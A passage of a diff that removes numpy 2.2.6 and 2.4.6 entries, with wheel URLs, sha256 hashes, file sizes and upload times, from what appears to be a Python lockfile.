-    { url = "https://files.pythonhosted.org/packages/61/66/d2de6b291507517ff2e438e13ff7b1e2cdbdb7cb40b3ed475377aece69f9/numpy-2.2.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:fc0c5673685c508a142ca65209b4e79ed6740a4ed6b2267dbba90f34b0b3cfda", size = 14225144, upload-time = "2025-05-17T21:41:05.695Z" },
-    { url = "https://files.pythonhosted.org/packages/e4/25/480387655407ead912e28ba3a820bc69af9adf13bcbe40b299d454ec011f/numpy-2.2.6-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:5bd4fc3ac8926b3819797a7c0e2631eb889b4118a9898c84f585a54d475b7e40", size = 5200217, upload-time = "2025-05-17T21:41:15.903Z" },
-    { url = "https://files.pythonhosted.org/packages/aa/4a/6e313b5108f53dcbf3aca0c0f3e9c92f4c10ce57a0a721851f9785872895/numpy-2.2.6-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:fee4236c876c4e8369388054d02d0e9bb84821feb1a64dd59e137e6511a551f8", size = 6712014, upload-time = "2025-05-17T21:41:27.321Z" },
-    { url = "https://files.pythonhosted.org/packages/b7/30/172c2d5c4be71fdf476e9de553443cf8e25feddbe185e0bd88b096915bcc/numpy-2.2.6-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e1dda9c7e08dc141e0247a5b8f49cf05984955246a327d4c48bda16821947b2f", size = 14077935, upload-time = "2025-05-17T21:41:49.738Z" },
-    { url = "https://files.pythonhosted.org/packages/12/fb/9e743f8d4e4d3c710902cf87af3512082ae3d43b945d5d16563f26ec251d/numpy-2.2.6-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f447e6acb680fd307f40d3da4852208af94afdfab89cf850986c3ca00562f4fa", size = 16600122, upload-time = "2025-05-17T21:42:14.046Z" },
-    { url = "https://files.pythonhosted.org/packages/12/75/ee20da0e58d3a66f204f38916757e01e33a9737d0b22373b3eb5a27358f9/numpy-2.2.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:389d771b1623ec92636b0786bc4ae56abafad4a4c513d36a55dce14bd9ce8571", size = 15586143, upload-time = "2025-05-17T21:42:37.464Z" },
-    { url = "https://files.pythonhosted.org/packages/76/95/bef5b37f29fc5e739947e9ce5179ad402875633308504a52d188302319c8/numpy-2.2.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8e9ace4a37db23421249ed236fdcdd457d671e25146786dfc96835cd951aa7c1", size = 18385260, upload-time = "2025-05-17T21:43:05.189Z" },
-    { url = "https://files.pythonhosted.org/packages/09/04/f2f83279d287407cf36a7a8053a5abe7be3622a4363337338f2585e4afda/numpy-2.2.6-cp313-cp313t-win32.whl", hash = "sha256:038613e9fb8c72b0a41f025a7e4c3f0b7a1b5d768ece4796b674c8f3fe13efff", size = 6377225, upload-time = "2025-05-17T21:43:16.254Z" },
-    { url = "https://files.pythonhosted.org/packages/67/0e/35082d13c09c02c011cf21570543d202ad929d961c02a147493cb0c2bdf5/numpy-2.2.6-cp313-cp313t-win_amd64.whl", hash = "sha256:6031dd6dfecc0cf9f668681a37648373bddd6421fff6c66ec1624eed0180ee06", size = 12771374, upload-time = "2025-05-17T21:43:35.479Z" },
-    { url = "https://files.pythonhosted.org/packages/9e/3b/d94a75f4dbf1ef5d321523ecac21ef23a3cd2ac8b78ae2aac40873590229/numpy-2.2.6-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0b605b275d7bd0c640cad4e5d30fa701a8d59302e127e5f79138ad62762c3e3d", size = 21040391, upload-time = "2025-05-17T21:44:35.948Z" },
-    { url = "https://files.pythonhosted.org/packages/17/f4/09b2fa1b58f0fb4f7c7963a1649c64c4d315752240377ed74d9cd878f7b5/numpy-2.2.6-pp310-pypy310_pp73-macosx_14_0_x86_64.whl", hash = "sha256:7befc596a7dc9da8a337f79802ee8adb30a552a94f792b9c9d18c840055907db", size = 6786754, upload-time = "2025-05-17T21:44:47.446Z" },
-    { url = "https://files.pythonhosted.org/packages/af/30/feba75f143bdc868a1cc3f44ccfa6c4b9ec522b36458e738cd00f67b573f/numpy-2.2.6-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce47521a4754c8f4593837384bd3424880629f718d87c5d44f8ed763edd63543", size = 16643476, upload-time = "2025-05-17T21:45:11.871Z" },
-    { url = "https://files.pythonhosted.org/packages/37/48/ac2a9584402fb6c0cd5b5d1a91dcf176b15760130dd386bbafdbfe3640bf/numpy-2.2.6-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d042d24c90c41b54fd506da306759e06e568864df8ec17ccc17e9e884634fd00", size = 12812666, upload-time = "2025-05-17T21:45:31.426Z" },
-]
-
-[[package]]
-name = "numpy"
-version = "2.4.6"
-source = { registry = "https://pypi.org/simple" }
-resolution-markers = [
-    "python_full_version == '3.11.*'",
-]
-sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda", size = 20735807, upload-time = "2026-05-18T23:37:14.07Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/b3/49/ec46835a70be8fa6446c495126ac84fdb28cb2558e1620ffb87a10c8b64c/numpy-2.4.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0280e0356c0829a18d9de1cb7eee50ec22ca639878d7240307ca0943d73cd2c4", size = 16969194, upload-time = "2026-05-18T23:33:13.503Z" },
-    { url = "https://files.pythonhosted.org/packages/0e/0d/f5957185c0ee2f3e12f78715aa9e3b353fd83633316c8532b38faa37e3f6/numpy-2.4.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:110f8b71aacb688ec69062bb7f6938a0f8acb01b7c1c4beb453c65b6d234584d", size = 14964111, upload-time = "2026-05-18T23:33:17.795Z" },
-    { url = "https://files.pythonhosted.org/packages/ad/40/40a40ee0ddf7ceb782c49af278894b686e586d65d8c1889c8b5da01a3d7d/numpy-2.4.6-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:4cfe66903cc32a9921a6733d96b19bb6abf310397581bbad89c228f5abaf0ee8", size = 5469159, upload-time = "2026-05-18T23:33:20.654Z" },
-    { url = "https://files.pythonhosted.org/packages/63/13/f9a8046535cb21deae82f8d03de9617e08882d274fad2539630761888228/numpy-2.4.6-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:8155154c7c691289fe18f510b5d4657c68c67989f293f0535a91360392ff6538", size = 6798936, upload-time = "2026-05-18T23:33:22.987Z" },
-    { url = "https://files.pythonhosted.org/packages/33/a8/6fa8c1a345a8c85dbb21932c447bee07c30a2c2a3f31e369c0a84b300147/numpy-2.4.6-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ab0a9c4ffb1a6d95ef519fe4247dba8eb6b18ad93999f76b7f657039acabd47", size = 15966692, upload-time = "2026-05-18T23:33:26.62Z" },
-    { url = "https://files.pythonhosted.org/packages/02/03/74fe2a4cb3817d94d86402f2506554130a2f01414e299b5a843e5a8a957f/numpy-2.4.6-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:89cd468399cfd2504718f0ba50e410dca55a170b61a02ad92bb18c8a65186e93", size = 16918164, upload-time = "2026-05-18T23:33:29.955Z" },
-    { url = "https://files.pythonhosted.org/packages/c5/80/3615be3313f7e7696609bc194b9f0101da809df79e859bdb84e0cd043f46/numpy-2.4.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c2d37ab77531417474168eb79d6d80b14f821a966818505d03013d0833edb7a8", size = 17322877, upload-time = "2026-05-18T23:33:34.724Z" },
-    { url = "https://files.pythonhosted.org/packages/ca/ac/a691e0fe2675e370d0e08ff905adc49a1c8830e8cae03efe4477e92cd55d/numpy-2.4.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f407cb6b8e9d6d8c626bc73c945db1706035af8fd632295547bf1c9e46d092d6", size = 18651487, upload-time = "2026-05-18T23:33:38.217Z" },
-    { url = "https://files.pythonhosted.org/packages/15/a7/9bc1cd626d7bf6869bfedf27b91b6ab5dd607758bf8e959d6fa80c6a59cb/numpy-2.4.6-cp311-cp311-win32.whl", hash = "sha256:ddea102b48f9e339f3948bf22040944184627a30fdf7f858667673b9c5f033c8", size = 6233945, upload-time = "2026-05-18T23:33:41.331Z" },
-    { url = "https://files.pythonhosted.org/packages/c5/31/7fc6239c12bce7e931463251cca4426c465e1876ba3cc785402ef4dd8f4e/numpy-2.4.6-cp311-cp311-win_amd64.whl", hash = "sha256:1e254a00cdf42b1e4d5b3d68d33af63268d41340d8885df2ab6470f2e1500147", size = 12608406, upload-time = "2026-05-18T23:33:44.131Z" },
-    { url = "https://files.pythonhosted.org/packages/27/83/140f85a466595a16382996a1bf06b2b54bcd597488921b0c9daaeeda72af/numpy-2.4.6-cp311-cp311-win_arm64.whl", hash = "sha256:ed9749eef4cbd126da3dc1d6bcb3a57f5eb7ac6a6484146bdbf743f552dfc577", size = 10479528, upload-time = "2026-05-18T23:33:50.725Z" },
-    { url = "https://files.pythonhosted.org/packages/95/2a/3d7b5ac8aac24feaf9ad7ed58f45b0bbc06d37e4338ae84c9f2298b570f9/numpy-2.4.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:001fbb8e08d942dd57599e781f2472269ee7f2755fae407b4f67b2f0b17da3f1", size = 16689119, upload-time = "2026-05-18T23:33:54.065Z" },
-    { url = "https://files.pythonhosted.org/packages/ea/12/92c4c131527599e8288d6918e888d88726f84d805d784b771f32408aeaef/numpy-2.4.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ebfb099f8dcf083deef3ac1ca4c1503f387cf76296fcb3816b66f5ecb5f54fdb", size = 14699246, upload-time = "2026-05-18T23:33:57.621Z" },
-    { url = "https://files.pythonhosted.org/packages/ad/fe/c0a6b7b2ca128a8fb228575147073b660656734b8ebe4d76c8fd748dcc79/numpy-2.4.6-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:3213d622a0283a39a93d188f3cf72b26862df52fbb4ca3697f51705016523d41", size = 5204410, upload-time = "2026-05-18T23:34:00.302Z" },
-    { url = "https://files.pythonhosted.org/packages/f3/d4/9770d14ba719432bb90a421bfd443872ed0f70f7264b64bec12ea363d5fd/numpy-2.4.6-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:357cc07a6d7b0b182ff02249616a03742827ebb1277546b5c7cd7f7620a45698", size = 6551240, upload-time = "2026-05-18T23:34:02.852Z" },
-    { url = "https://files.pythonhosted.org/packages/c9/c6/50a46a6205feba2343f1d6d17438107c5dc491ed1c736e6ea68689fd906b/numpy-2.4.6-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f9fb9157b4ce2971008323afe46053787b526ef624fea915b261468a8421a0f", size = 15671012, upload-time = "2026-05-18T23:34:05.485Z" },
-    { url = "https://files.pythonhosted.org/packages/99/60/14115e6364fa676c5397c2ad3004e527e9aa487abf5d0706ec81bbd08529/numpy-2.4.6-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90f9849678c75fe7afa2d348ac842c168b0a4d3d61919687216dfc547976d853", size = 16645538, upload-time = "2026-05-18T23:34:09.265Z" },
-    { url = "https://files.pythonhosted.org/packages/ae/c5/693cbe59e57db94d2231fa519ca3978dc9e19da5a8f088588f5c6e947ff2/numpy-2.4.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c1a2af6c6ef86344a6b0db6b97834208bf598db514f2b155042439b62605601a", size = 17020706, upload-time = "2026-05-18T23:34:13.053Z" },
-    { url = "https://files.pythonhosted.org/packages/ef/fc/85b7c4eff9b4966ade25c2273cf7e7012e92366c032058653934b37de044/numpy-2.4.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e5805d5a22fd19c8ccff10a9561f9df94436b0545619ea579db2d3c35294bce2", size = 18368541, upload-time = "2026-05-18T23:34:17.024Z" },
-    { url = "https://files.pythonhosted.org/packages/f6/81/e1b27545deedce7f4a0b348618c6b62d74e36a4dc9ccd42f3eb2f85eee32/numpy-2.4.6-cp312-cp312-win32.whl", hash = "sha256:e3eeb0aabd6bd5ce64faae67e9935203a6991b4bc2a485a767fbafb2c5125f45", size = 5962825, upload-time = "2026-05-18T23:34:20.3Z" },
-    { url = "https://files.pythonhosted.org/packages/ab/ca/feab00bd44aa5fe1ad2c18f08b4d3bb92e26484b0b1d1443897809ed528c/numpy-2.4.6-cp312-cp312-win_amd64.whl", hash = "sha256:d8e8286dd7cea7895157318d1b91cdacac64c479f3cbc8dce548331728484751", size = 12321687, upload-time = "2026-05-18T23:34:23.095Z" },
-    { url = "https://files.pythonhosted.org/packages/63/cf/5a6d34850a39d1093558564f77ee8e8e0bee5061151b8f05a55711001ec7/numpy-2.4.6-cp312-cp312-win_arm64.whl", hash = "sha256:4081eb135ac24158bd51cdfbef16f1c64df7063b1143f24731387137c092bec8", size = 10221482, upload-time = "2026-05-18T23:34:25.876Z" },
-    { url = "https://files.pythonhosted.org/packages/fb/82/bdab26d7438c6791ca31b7c024ca37c1eab8b726ba236129005cd4a06e45/numpy-2.4.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:511dbaf848decaaaf4b4ca48032619fb3138710c4bf7da7617765edad1ef96b0", size = 16684648, upload-time = "2026-05-18T23:34:29.41Z" },
-    { url = "https://files.pythonhosted.org/packages/1b/30/a80189bcc7f5e4258b3fbc3968d909d1756f54d023299ecc39ad6fdb9ef8/numpy-2.4.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bf162abab1c1a736333192707cef898e735a5ca00f38f27eeedf44b39d9e85eb", size = 14693902, upload-time = "2026-05-18T23:34:33.013Z" },
-    { url = "https://files.pythonhosted.org/packages/97/12/70b5d0d7c15e1ebb8a6a84a8caa1d19e181d84fb58bb6d70aca29099dec1/numpy-2.4.6-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:043191bfa8eab18c776647b62723ac9dddece59743b13f49b2016094129c2b3f", size = 5198992, upload-time = "2026-05-18T23:34:36.132Z" },
-    { url = "https://files.pythonhosted.org/packages/ba/8c/ebd2a8f8a83541f8d38cc5667e8c2b69cecfd30da6e45693e8158857d44b/numpy-2.4.6-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:6180d8b35af935aed8ece3a85e0a43f87393ae0ac87c8d2c8bd2c993f7270ef3", size = 6546944, upload-time = "2026-05-18T23:34:38.484Z" },
-    { url = "https://files.pythonhosted.org/packages/bb/c5/7b863a97a91671a0338f4253bd3b5a3d3852f0692dae91711c9f4a10e787/numpy-2.4.6-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:72fbe16c6fac95aedf5937fa873445cec2110be35d8a4e9433d7501fd98dae6b", size = 15669392, upload-time = "2026-05-18T23:34:41.257Z" },
-    { url = "https://files.pythonhosted.org/packages/a5/9d/3584b9984ca4c047aea75214ce1a4c4c73d849bd71b604264b7f5653f8a8/numpy-2.4.6-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7830bab239b79cda9c08c2da014761cafb48da6150e1da17ac06283f43b6089", size = 16633220, upload-time = "2026-05-18T23:34:45.075Z" },
-    { url = "https://files.pythonhosted.org/packages/05/ae/7c67fba23bd98caec7c99261f3a16072ade14813486b0282cb29846de832/numpy-2.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ef4aea96ce4d3b074422cb4f2f64e216bf9e213004bb58ecfdf50ea02ea8eb9a", size = 17020800, upload-time = "2026-05-18T23:34:49.065Z" },
-    { url = "https://files.pythonhosted.org/packages/d9/5d/3b6725cb31d983c5e66916f5d36f6d7e5521129e4c4404d64f918292a5b6/numpy-2.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfa20cc6ca228e6b155b11da03825975ce66aea520985dbbddf0f2a5a495c605", size = 18357600, upload-time = "2026-05-18T23:34:52.709Z" },
-    { url = "https://files.pythonhosted.org/packages/f7/da/2ccc6c2fe8898dee01d90c75c5f5f914a23daf99e3e0f59516a08760c8b5/numpy-2.4.6-cp313-cp313-win32.whl", hash = "sha256:56b39e5e0622a09a25bf5baf62f4bcf0cb8a41ae6e2819cf49bbc5a74c083f91", size = 5961134, upload-time = "2026-05-18T23:34:55.618Z" },
-    { url = "https://files.pythonhosted.org/packages/b5/cd/9cc4dc876fb065d5c220aae4d5e14826b2715331bb7618ce1fb07a679d99/numpy-2.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:c4fc99836233ea196540b17ab0983aff60ed07941751930f5f4d05bc3b3b7359", size = 12318598, upload-time = "2026-05-18T23:34:58.928Z" },
-    { url = "https://files.pythonhosted.org/packages/39/1e/c0bcba1f8694116485fe28fd1be698c278fcda4141c5b0e53a2aed8b12a8/numpy-2.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:a7c711e21628b52034bb5ab8d1bce291f752fcc5e92accc615778acee1ff4778", size = 10222272, upload-time = "2026-05-18T23:35:02.167Z" },
-    { url = "https://files.pythonhosted.org/packages/63/6d/cc5619247c8f4204e507f5883528372e4ac4bb189e579fb859a12e480b1f/numpy-2.4.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:112b06a867b235ef466ed3508ddf0238050df9c727cafb5301ac385b899189a1", size = 14821197, upload-time = "2026-05-18T23:35:05.468Z" },
-    { url = "https://files.pythonhosted.org/packages/00/58/f1c39161c87d9e9bed660f1ed4bafc0e403d5ec9650b6dd77aead07d489b/numpy-2.4.6-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:eaf7fa2de5c0be8ae6ff8e9bea2ccd725e980541244521d8d4b5f3354a27babe", size = 5326287, upload-time = "2026-05-18T23:35:08.693Z" },
-    { url = "https://files.pythonhosted.org/packages/af/57/3917ab0fd97f271a8694513581b8a36c655f111c446852c302f04ccdb6fc/numpy-2.4.6-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:7265a2f3d436e54ef9f2b52b5c937e6be778781bd97a590319d7348f1c1ca997", size = 6646763, upload-time = "2026-05-18T23:35:11.459Z" },
-    { url = "https://files.pythonhosted.org/packages/eb/0f/037e64c494b67581ae18193d770adef354c41f3f2c8ebf865602d949bf8f/numpy-2.4.6-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f74a575920ab21fe304421a3fc28793d82e299cae9eccb37084e9fc7f3617c20", size = 15728070, upload-time = "2026-05-18T23:35:14.79Z" },
-    { url = "https://files.pythonhosted.org/packages/21/a6/5d2bae9c9542eb4df16dc9c46dc79c186e9bad53805dfa5399a6023c6db0/numpy-2.4.6-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ede83e07a75dd06bc501566c1eca2afc0d61677c1472ac9ad93fdee6e638a48d", size = 16681752, upload-time = "2026-05-18T23:35:18.836Z" },
-    { url = "https://files.pythonhosted.org/packages/92/14/23d1dfb410ae362cd59ce53e936b1513d545eb40db3949ced632e19a459e/numpy-2.4.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:68bb27509ac1b9a3443094260f6326150663b06abe40b73a2f81160623da5b67", size = 17086024, upload-time = "2026-05-18T23:35:22.52Z" },
-    { url = "https://files.pythonhosted.org/packages/4b/6e/23595a2c642cdf3bc567877064bdd7f91c8b0038a4453cf2daf7248eafe9/numpy-2.4.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:a0df0043bdb289bde1f62da130d20df23d58b45429f752bc7a8fc5325a225ecd", size = 18403398, upload-time = "2026-05-18T23:35:26.398Z" },
-    { url = "https://files.pythonhosted.org/packages/8a/90/0ac3bc947217e66dec77e7cbc6a1979d1af70b6461b82f620d3bccd5e4c8/numpy-2.4.6-cp313-cp313t-win32.whl", hash = "sha256:29a287e0cf63ff528da061de6b9f64a4618da591ca1046aafc54062e40ca7eab", size = 6084971, upload-time = "2026-05-18T23:35:29.387Z" },
-    { url = "https://files.pythonhosted.org/packages/77/71/5673e351671a1d2bd6063b91b44f70c0affea7d1516fa7a6572941ba4aa1/numpy-2.4.6-cp313-cp313t-win_amd64.whl", hash = "sha256:25c692919ac5a01f170a3bfcd62d745b24fd095c353d50812637d6fcab442e75", size = 12458532, upload-time = "2026-05-18T23:35:32.175Z" },
-    { url = "https://files.pythonhosted.org/packages/3f/88/19d3503c5046e688f049274b27a3ef3d771152fa80d3ba3d01a3dff61abe/numpy-2.4.6-cp313-cp313t-win_arm64.whl", hash = "sha256:1e978ec1e8bd0e0e4de6bb75de9d30cbb74db6b6a2bb727618613703ca0167dd", size = 10291881, upload-time = "2026-05-18T23:35:35.465Z" },
-    { url = "https://files.pythonhosted.org/packages/f8/91/3ab2044d05fd16d343c5ac2e69b127f1b2854040dd20b193257c78028bd3/numpy-2.4.6-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06ca2f61ec4385a07a6977c55ba998a4466c123642b4a32694d3128fce18c079", size = 16683458, upload-time = "2026-05-18T23:35:38.353Z" },
-    { url = "https://files.pythonhosted.org/packages/8e/62/764ce66fa4147ae6d73071a3abf804ffe606f174618697c571acdf26a7c9/numpy-2.4.6-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:38efbc8de75c7a0fc1ac190162d892787f3f47b57cc291231aafee36b80982b7", size = 14704559, upload-time = "2026-05-18T23:35:42.14Z" },
-    { url = "https://files.pythonhosted.org/packages/60/61/23f27c172f022e04025b7dc2367f4d63c1a398120607ec896228649a6f48/numpy-2.4.6-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:d581b735e177fdcdce6fed8e7e8880a3fb6ee4e3653a3ac6af01c6f4c03effc5", size = 5209716, upload-time = "2026-05-18T23:35:45.377Z" },
-    { url = "https://files.pythonhosted.org/packages/03/71/21cf70dc6ea3e3acb95fc53a265b2fc248b981f0194ceb5b475271b8809d/numpy-2.4.6-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:0a041d3d761dc3c35cc56ce0351506a02bcbc25f7b169f652435141a17db9096", size = 6543947, upload-time = "2026-05-18T23:35:47.926Z" },
-    { url = "https://files.pythonhosted.org/packages/d5/91/64288395ee1799bd2e0b04a305dce9666da90c961e1f3fe982a05ee1c036/numpy-2.4.6-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:40fdc1ae7125e518ea98e53e69a4ebc27e1fd50510c47b7ea130cf21e5e1d42b", size = 15685197, upload-time = "2026-05-18T23:35:50.863Z" },
-    { url = "https://files.pythonhosted.org/packages/f3/eb/ebffaa97dc55502df69584a8f0dcf07f69a3e0b3e2323670a2722db9aa39/numpy-2.4.6-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a2c306dea656c12c68f51f4cea133cbe78ca7435eb28c735eac1d3ebe73be6e8", size = 16638245, upload-time = "2026-05-18T23:35:54.752Z" },
-    { url = "https://files.pythonhosted.org/packages/b8/0b/54f9da33128d7e350fab89c7455902eeae70349ee52bddb448dc4a576f45/numpy-2.4.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:33111801a01c12a8a1e3721f0a9232f8cfc8ae2c6b7098167e6f623c6073f402", size = 17036587, upload-time = "2026-05-18T23:35:58.355Z" },
-    { url = "https://files.pythonhosted.org/packages/b6/f0/fdebc1052db1cc37c64beb22072d67cd6d1c71adca1299f53dec2b5e20d3/numpy-2.4.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ae506e6902902557576a26ff33eda8695e7ecb3cb36c3b573a0765dee114ebdb", size = 18363226, upload-time = "2026-05-18T23:36:02.845Z" },
-    { url = "https://files.pythonhosted.org/packages/aa/b4/298628d98c72b57e57f7165ae6a481a1deaf6f3c28262a6e4c739c275930/numpy-2.4.6-cp314-cp314-win32.whl", hash = "sha256:aaf159caa35993cb1f56fb9b8e4610d35758e7ca005412eb1daa856a78c9c4b1", size = 6010196, upload-time = "2026-05-18T23:36:05.92Z" },
-    { url = "https://files.pythonhosted.org/packages/df/ac/46de6dda46478f7942f839e094970be2d4a861e005c4b3bf07c92e291a09/numpy-2.4.6-cp314-cp314-win_amd64.whl", hash = "sha256:b507f5c4c1d508876d1819b6bf9a49d365b96320b5d4993426b33a23ca4b8261", size = 12450334, upload-time = "2026-05-18T23:36:09.107Z" },
-    { url = "https://files.pythonhosted.org/packages/78/92/b8b798ac784102c0da830d2257d59358e3d3d90d1e2b3f2575dad976c5cf/numpy-2.4.6-cp314-cp314-win_arm64.whl", hash = "sha256:6f41ae150c4e32db4f3310cdaf64b1593a03dbabe29eec77fc9b50fe64061df6", size = 10495678, upload-time = "2026-05-18T23:36:12.766Z" },
-    { url = "https://files.pythonhosted.org/packages/30/34/ec28d1aa8115971537c01469ab2011ee96827930f0a124de1000cc2a7ed7/numpy-2.4.6-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ece3d2cfe132e7d51f44a832b303895e6f2d499c5e74dfbdb06ee246147a304a", size = 14823672, upload-time = "2026-05-18T23:36:16.473Z" },
-    { url = "https://files.pythonhosted.org/packages/16/bd/f6d1fede4e54e8042a7ff97bb495510f3c220f94bcd9e8b228e87c92cc0d/numpy-2.4.6-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:e3e5193ef5a3dc73bceee50f7fdc2c90dbb76c42df8d8fae3d1067a583df579e", size = 5328731, upload-time = "2026-05-18T23:36:19.767Z" },
-    { url = "https://files.pythonhosted.org/packages/f4/f0/e105b9e2fd728a9910103884decd6951d9dd73896b914a98d9a231de02ee/numpy-2.4.6-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:17f9ade344e7d9b464a084d69bcf18fc691cb1db67c62ed80820bf4926d78f0e", size = 6649805, upload-time = "2026-05-18T23:36:22.266Z" },
-    { url = "https://files.pythonhosted.org/packages/82/dd/1206a7ca6ab15e3f02069707ca96222e202af681bb73756da7527f3cb837/numpy-2.4.6-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9cd5ffd25db4e7ba6a375693b3fc0fc1791ec636c17db3720da19bde7180ec43", size = 15730496, upload-time = "2026-05-18T23:36:25.713Z" },
-    { url = "https://files.pythonhosted.org/packages/51/e7/38d3ea825dcab85a591734decb2f6c67caa7c8367d374df1a1c3842f9b07/numpy-2.4.6-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d92c3819208a60205a12a245c91ad70cb0a85336659b19b834205573ac8456e", size = 16679616, upload-time = "2026-05-18T23:36:29.652Z" },
-    { url = "https://files.pythonhosted.org/packages/93/b7/caabfdf53edf663e0b4eb74d7d405d83baef09eb5e83bcd32d601d72b93e/numpy-2.4.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e85b752a1e912b70eaad4fafbd4d1238007ab221de2009b9a2f5ae7461239895", size = 17085145, upload-time = "2026-05-18T23:36:33.449Z" },
-    { url = "https://files.pythonhosted.org/packages/f9/45/68d7c33a6bcf3e5aa3bdbd57a367e6f615286dfd6482f97e8ffeb734306e/numpy-2.4.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:29cb7f67d10b479ff07c17d33e39f78c07f71c40ef30d63c153d340e96cd3fb4", size = 18403813, upload-time = "2026-05-18T23:36:37.369Z" },
-    { url = "https://files.pythonhosted.org/packages/9c/50/0753655aa844c99cd9e018aacf76f130f1bd81d881bb74bc0aef5d73a8ba/numpy-2.4.6-cp314-cp314t-win32.whl", hash = "sha256:260a5d70215b61ab4fadf5c7baacd64821842975eea312125ed3c39a6391b063", size = 6156982, upload-time = "2026-05-18T23:36:40.817Z" },
-    { url = "https://files.pythonhosted.org/packages/b2/d4/7c67becf668f973cb490cec3e98dfd799d866f9c989a54d355672cfa0db6/numpy-2.4.6-cp314-cp314t-win_amd64.whl", hash = "sha256:81a1cca95ed5bb92aa8b10dd2cdc9a0d3853a50fad926c28b5d7e8ea54389627", size = 12638908, upload-time = "2026-05-18T23:36:43.996Z" },
-    { url = "https://files.pythonhosted.org/packages/43/bb/e1c71a4295b1b1d1393d50dbb4f2a36283c6859d9d3892e84f00ec5a91d5/numpy-2.4.6-cp314-cp314t-win_arm64.whl", hash = "sha256:0c9136e14ed34a9e343a31c533d78a9813a69a3148332bce5e9821cb2f996e66", size = 10565867, upload-time = "2026-05-18T23:36:47.114Z" },
-    { url = "https://files.pythonhosted.org/packages/de/12/b422cc84439adc0d00de605bf4a308890ae5c26f2c71fbd73e5d08fbb0dd/numpy-2.4.6-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:55cced7c52e981362f708ad635198e97a752dfba412cc03c23bbf3bd8d5cd662", size = 16847511, upload-time = "2026-05-18T23:36:50.673Z" },
-    { url = "https://files.pythonhosted.org/packages/44/53/f481bef68011740f8849418d82db07230e825013f31f4eef5ba5b805316a/numpy-2.4.6-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d6da64deb6b8ed903e7560180a92f2d804ee1ba5eeb849ac2748b8c1aba1f6d7", size = 14889064, upload-time = "2026-05-18T23:36:53.879Z" },
